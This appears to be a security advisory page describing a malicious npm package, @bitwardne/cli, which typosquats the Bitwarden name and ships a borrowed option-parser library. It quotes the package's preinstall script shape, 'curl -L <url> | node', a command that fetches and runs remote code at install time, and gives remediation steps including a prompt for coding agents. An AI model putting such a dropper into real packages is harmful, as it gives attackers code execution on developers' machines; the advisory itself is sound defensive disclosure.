# MAL-2026-17693: Malicious code in @bitwardne/cli (npm)


- **Type:** Malicious package
- **Package:** `@bitwardne/cli` (npm)
- **Published:** 8 Oct 2026

## What is MAL-2026-17693?

MAL-2026-17693 is a malicious package in @bitwardne/cli, published on 8 Oct 2026. 

### Official description

package.json declares a preinstall lifecycle script of the form 'curl -L <url> | node', which fetches remote content and executes it in Node at npm install time. In this published version the URL slot is empty so the command fails as shipped, but the script shape is a canonical install-time remote-code-execution dropper that fires automatically on `npm install`. The package is published under the @bitwardne scope — a one-character variation of the Bitwarden brand — while the shipped source is a verbatim copy of the unrelated 'cli' option-parser library by Chris O'Hara (homepage node-js-libs/cli), with no legitimate connection between the scope name and the vendored code.

## What should I do about MAL-2026-17693?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17693 is a malicious package: @bitwardne/cli (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17693/ (Markdown: https://insights.sbomify.com/MAL-2026-17693/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17693

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17693/
Summaries are generated and may contain mistakes; the official description above is the record.
